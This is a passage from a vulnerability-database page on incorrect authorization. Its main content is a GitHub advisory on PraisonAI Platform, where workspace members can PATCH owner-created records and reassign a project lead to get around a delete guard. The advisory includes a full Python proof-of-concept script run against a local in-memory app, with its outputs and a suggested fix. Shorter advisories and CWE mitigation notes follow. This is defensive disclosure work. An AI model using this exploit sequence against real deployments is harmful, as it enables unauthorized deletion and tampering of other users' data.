"details": "# Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment.\n\n## Technical Details\n\nThe affected boundary is the difference between \"is a workspace member\" and \"owns or administers this resource\". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner.\n\nThe project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts.\n\nThe same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`.\n\nThe intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.\n\n## PoV\n\nthe PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner\u0027s workspace, then exercises the project, issue, and agent routes without touching any live service.\n\nEssential excerpt:\n\n```python\ndirect_delete_project = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=member_headers,\n)\n\npatch_project = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n json={\n \"title\": \"Member-controlled project\",\n \"status\": \"active\",\n \"lead_type\": \"member\",\n \"lead_id\": member_id,\n },\n headers=member_headers,\n)\n\ndelete_project_after_takeover = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=member_headers,\n)\n\npatch_issue = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n headers=member_headers,\n)\n\npatch_agent = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n headers=member_headers,\n)\n\noutsider_patch_issue = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n json={\"title\": \"outsider attempt\"},\n headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17T20:13:04+01:00\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n \"workspace_role\": \"member\",\n \"checks\": {\n \"member_direct_project_delete_before_patch\": 403,\n \"member_project_patch_lead_to_self\": 200,\n \"member_project_delete_after_lead_takeover\": 204,\n \"owner_get_project_after_member_delete\": 404,\n \"member_issue_patch\": 200,\n \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n \"member_issue_delete_after_patch\": 403,\n \"member_agent_patch\": 200,\n \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n \"member_agent_delete_after_patch\": 403,\n \"non_member_issue_patch\": 403\n },\n \"vulnerable\": true\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n \"source\": \"pypi:praisonai-platform==0.1.8\",\n \"workspace_role\": \"member\",\n \"checks\": {\n \"member_direct_project_delete_before_patch\": 403,\n \"member_project_patch_lead_to_self\": 200,\n \"member_project_delete_after_lead_takeover\": 204,\n \"owner_get_project_after_member_delete\": 404,\n \"member_issue_patch\": 200,\n \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n \"member_issue_delete_after_patch\": 403,\n \"member_agent_patch\": 200,\n \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n \"member_agent_delete_after_patch\": 403,\n \"non_member_issue_patch\": 403\n },\n \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.\npraisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\npraisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\n```\n\n## Impact\n\nAn ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` (7.1). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.\n\n## Suggested Fix\n\nApply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route\u0027s owner/admin check for PATCH routes, or introduce a `require_update_permission` helper that allows workspace admins/owners and the relevant resource owner only.\n\nFor projects, do not let an ordinary member set `lead_id` on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.\n\nAdd regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project `lead_id` to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives `403`.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner/admin update authorization gap is confirmed in sampled versions `0.1.4`, `0.1.6`, `0.1.8`, and current head. The specific project delete-guard bypass through `lead_id` reassignment is confirmed in `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member deletes already returned `204`, so the lead-reassignment chain is masked by a broader older delete issue.\n\nSuggested affected range for the update authorization gap: `pypi:praisonai-platform \u003e=0.1.4, \u003c=0.1.8`. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project `lead_id` delete-guard bypass.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with `403`, then PATCH succeeds, then DELETE succeeds only after `lead_id` is reassigned through the update route.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.\n\n`GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning `403`.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_direct_project_delete_before_patch\": 204\n\"member_project_patch_lead_to_self\": 404\n\"member_issue_patch\": 200\n\"member_agent_patch\": 200\n\"member_issue_delete_after_patch\": 204\n\"member_agent_delete_after_patch\": 204\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.6 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.8 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_member_update_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform same-workspace member update bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n if repo is None:\n return\n platform_root = repo / \"src\" / \"praisonai-platform\"\n agents_root = repo / \"src\" / \"praisonai-agents\"\n for path in (str(platform_root), str(agents_root)):\n if path not in sys.path:\n sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n response = await client.post(\n \"/api/v1/auth/register\",\n json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n )\n if response.status_code \u003e= 400:\n raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n body = response.json()\n return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n _load_local_source(repo)\n\n from httpx import ASGITransport, AsyncClient\n from sqlalchemy.ext.asyncio import create_async_engine\n\n from praisonai_platform.api.app import create_app\n from praisonai_platform.db import base as base_mod\n from praisonai_platform.db.base import Base, reset_engine\n\n await reset_engine()\n engine = create_async_engine(\n \"sqlite+aiosqlite:///:memory:\",\n echo=False,\n connect_args={\"check_same_thread\": False},\n )\n base_mod._engine = engine\n base_mod._session_factory = None\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n app = create_app()\n transport = ASGITransport(app=app)\n async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n ws_resp = await client.post(\n \"/api/v1/workspaces/\",\n json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n headers=owner_headers,\n )\n ws_resp.raise_for_status()\n workspace_id = ws_resp.json()[\"id\"]\n\n add_member = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\"user_id\": member_id, \"role\": \"member\"},\n headers=owner_headers,\n )\n add_member.raise_for_status()\n\n project_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/projects/\",\n json={\n \"title\": \"Owner project\",\n \"description\": \"Owned by the workspace owner\",\n \"lead_type\": \"member\",\n \"lead_id\": owner_id,\n },\n headers=owner_headers,\n )\n project_resp.raise_for_status()\n project_id = project_resp.json()[\"id\"]\n\n direct_delete_project = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=member_headers,\n )\n\n patch_project = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n json={\n \"title\": \"Member-controlled project\",\n \"status\": \"active\",\n \"lead_type\": \"member\",\n \"lead_id\": member_id,\n },\n headers=member_headers,\n )\n\n delete_project_after_takeover = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=member_headers,\n )\n owner_get_deleted_project = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=owner_headers,\n )\n\n issue_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/\",\n json={\"title\": \"Owner issue\", \"priority\": \"high\"},\n headers=owner_headers,\n )\n issue_resp.raise_for_status()\n issue_id = issue_resp.json()[\"id\"]\n\n patch_issue = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n headers=member_headers,\n )\n owner_get_issue = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n headers=owner_headers,\n )\n delete_issue = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n headers=member_headers,\n )\n\n agent_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/agents/\",\n json={\"name\": \"OwnerAgent\", \"instructions\": \"owner-only instructions\"},\n headers=owner_headers,\n )\n agent_resp.raise_for_status()\n agent_id = agent_resp.json()[\"id\"]\n\n patch_agent = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n headers=member_headers,\n )\n owner_get_agent = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n headers=owner_headers,\n )\n delete_agent = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n headers=member_headers,\n )\n\n outsider_patch_issue = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n json={\"title\": \"outsider attempt\"},\n headers=outsider_headers,\n )\n\n await engine.dispose()\n base_mod._engine = None\n base_mod._session_factory = None\n\n owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}\n owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}\n patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}\n\n checks = {\n \"member_direct_project_delete_before_patch\": direct_delete_project.status_code,\n \"member_project_patch_lead_to_self\": patch_project.status_code,\n \"member_project_delete_after_lead_takeover\": delete_project_after_takeover.status_code,\n \"owner_get_project_after_member_delete\": owner_get_deleted_project.status_code,\n \"member_issue_patch\": patch_issue.status_code,\n \"owner_observes_member_issue_title\": owner_issue_body.get(\"title\"),\n \"member_issue_delete_after_patch\": delete_issue.status_code,\n \"member_agent_patch\": patch_agent.status_code,\n \"owner_observes_member_agent_instructions\": owner_agent_body.get(\"instructions\"),\n \"member_agent_delete_after_patch\": delete_agent.status_code,\n \"non_member_issue_patch\": outsider_patch_issue.status_code,\n }\n vulnerable = (\n checks[\"member_direct_project_delete_before_patch\"] == 403\n and checks[\"member_project_patch_lead_to_self\"] == 200\n and patch_project_body.get(\"lead_id\") == member_id\n and checks[\"member_project_delete_after_lead_takeover\"] == 204\n and checks[\"owner_get_project_after_member_delete\"] == 404\n and checks[\"member_issue_patch\"] == 200\n and checks[\"owner_observes_member_issue_title\"] == \"Member rewrote owner issue\"\n and checks[\"member_issue_delete_after_patch\"] == 403\n and checks[\"member_agent_patch\"] == 200\n and checks[\"owner_observes_member_agent_instructions\"] == \"member-controlled instructions\"\n and checks[\"member_agent_delete_after_patch\"] == 403\n and checks[\"non_member_issue_patch\"] == 403\n )\n return {\n \"package\": \"praisonai-platform\",\n \"source\": _source_id(repo),\n \"workspace_role\": \"member\",\n \"summary\": \"A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.\",\n \"checks\": checks,\n \"vulnerable\": vulnerable,\n }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n if repo is None:\n import importlib.metadata\n\n return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n import subprocess\n\n rev = subprocess.check_output(\n [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n text=True,\n ).strip()\n return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--repo\", type=Path)\n parser.add_argument(\"--json\", action=\"store_true\")\n args = parser.parse_args()\n\n result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n if args.json:\n print(json.dumps(result, indent=2, sort_keys=True))\n else:\n for key, value in result[\"checks\"].items():\n print(f\"{key}: {value}\")\n print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n\n```",
"id": "GHSA-c78w-2q4r-68r7",
"modified": "2026-10-08T22:01:11Z",
"published": "2026-10-08T22:01:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c78w-2q4r-68r7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61442"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-patch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass"
}
GHSA-C7J5-C9CG-4FGG
Vulnerability from github – Published: 2022-08-26 00:03 – Updated: 2022-09-02 00:01An issue was discovered in Blue Prism Enterprise 6.0 through 7.01. In a misconfigured environment that exposes the Blue Prism Application server, it is possible for an authenticated user to reverse engineer the Blue Prism software and circumvent access controls for the SetProcessAttributes administrative function. Abusing this function will allow any Blue Prism user to publish, unpublish, or retire processes. Using this function, any logged-in user can change the status of a process, an action allowed only intended for users with the Edit Process permission.
{
"affected": [],
"aliases": [
"CVE-2022-36118"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-25T23:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Blue Prism Enterprise 6.0 through 7.01. In a misconfigured environment that exposes the Blue Prism Application server, it is possible for an authenticated user to reverse engineer the Blue Prism software and circumvent access controls for the SetProcessAttributes administrative function. Abusing this function will allow any Blue Prism user to publish, unpublish, or retire processes. Using this function, any logged-in user can change the status of a process, an action allowed only intended for users with the Edit Process permission.",
"id": "GHSA-c7j5-c9cg-4fgg",
"modified": "2022-09-02T00:01:05Z",
"published": "2022-08-26T00:03:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36118"
},
{
"type": "WEB",
"url": "https://blueprism.com"
},
{
"type": "WEB",
"url": "https://community.blueprism.com/discussion/security-vulnerability-notification-ssc-blue-prism-enterprise"
},
{
"type": "WEB",
"url": "https://portal.blueprism.com/security-vulnerabilities-august-2022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C7P8-MG6M-CRG2
Vulnerability from github – Published: 2025-03-16 03:31 – Updated: 2025-03-16 03:31Alludo Parallels Desktop before 19.4.2 and 20.x before 20.2.2 for macOS on Intel platforms allows privilege escalation to root via the VM creation routine.
{
"affected": [],
"aliases": [
"CVE-2025-30074"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-16T03:15:39Z",
"severity": "HIGH"
},
"details": "Alludo Parallels Desktop before 19.4.2 and 20.x before 20.2.2 for macOS on Intel platforms allows privilege escalation to root via the VM creation routine.",
"id": "GHSA-c7p8-mg6m-crg2",
"modified": "2025-03-16T03:31:32Z",
"published": "2025-03-16T03:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30074"
},
{
"type": "WEB",
"url": "https://kb.parallels.com/en/130944"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C7VP-4M6M-JG9V
Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-07-13 00:01Improper access control vulnerability in NEC Aterm WG2600HS firmware Ver1.5.1 and earlier, and Aterm WX3000HP firmware Ver1.1.2 and earlier allows a device connected to the LAN side to be accessed from the WAN side due to the defect in the IPv6 firewall function.
{
"affected": [],
"aliases": [
"CVE-2021-20712"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-26T01:15:00Z",
"severity": "MODERATE"
},
"details": "Improper access control vulnerability in NEC Aterm WG2600HS firmware Ver1.5.1 and earlier, and Aterm WX3000HP firmware Ver1.1.2 and earlier allows a device connected to the LAN side to be accessed from the WAN side due to the defect in the IPv6 firewall function.",
"id": "GHSA-c7vp-4m6m-jg9v",
"modified": "2022-07-13T00:01:05Z",
"published": "2022-05-24T17:48:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20712"
},
{
"type": "WEB",
"url": "https://jpn.nec.com/security-info/secinfo/nv21-010.html"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN29739718/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C7WH-G26H-JP33
Vulnerability from github – Published: 2023-07-05 15:30 – Updated: 2024-04-04 05:23Vulnerability of incomplete read and write permission verification in the GPU module. Successful exploitation of this vulnerability may affect service confidentiality, integrity, and availability.
{
"affected": [],
"aliases": [
"CVE-2021-46891"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-05T13:15:09Z",
"severity": "CRITICAL"
},
"details": "Vulnerability of incomplete read and write permission verification in the GPU module. Successful exploitation of this vulnerability may affect service confidentiality, integrity, and availability.",
"id": "GHSA-c7wh-g26h-jp33",
"modified": "2024-04-04T05:23:25Z",
"published": "2023-07-05T15:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46891"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/7"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202307-0000001587168858"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C7XG-C3JR-78WP
Vulnerability from github – Published: 2024-11-14 12:31 – Updated: 2024-11-14 12:31An issue was discovered in GitLab CE/EE affecting all versions starting from 16.0 prior to 17.3.7, starting from 17.4 prior to 17.4.4, and starting from 17.5 prior to 17.5.2, which could have allowed unauthorized access to the Kubernetes agent in a cluster under specific configurations.
{
"affected": [],
"aliases": [
"CVE-2024-9693"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-14T11:15:05Z",
"severity": "HIGH"
},
"details": "An issue was discovered in GitLab CE/EE affecting all versions starting from 16.0 prior to 17.3.7, starting from 17.4 prior to 17.4.4, and starting from 17.5 prior to 17.5.2, which could have allowed unauthorized access to the Kubernetes agent in a cluster under specific configurations.",
"id": "GHSA-c7xg-c3jr-78wp",
"modified": "2024-11-14T12:31:02Z",
"published": "2024-11-14T12:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9693"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/497449"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C83W-GQ93-G5PW
Vulnerability from github – Published: 2024-12-26 12:30 – Updated: 2024-12-26 12:30Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.
{
"affected": [],
"aliases": [
"CVE-2024-47148"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-26T12:15:07Z",
"severity": "MODERATE"
},
"details": "Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.",
"id": "GHSA-c83w-gq93-g5pw",
"modified": "2024-12-26T12:30:44Z",
"published": "2024-12-26T12:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47148"
},
{
"type": "WEB",
"url": "https://www.honor.com/global/security/cve-2024-47148"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.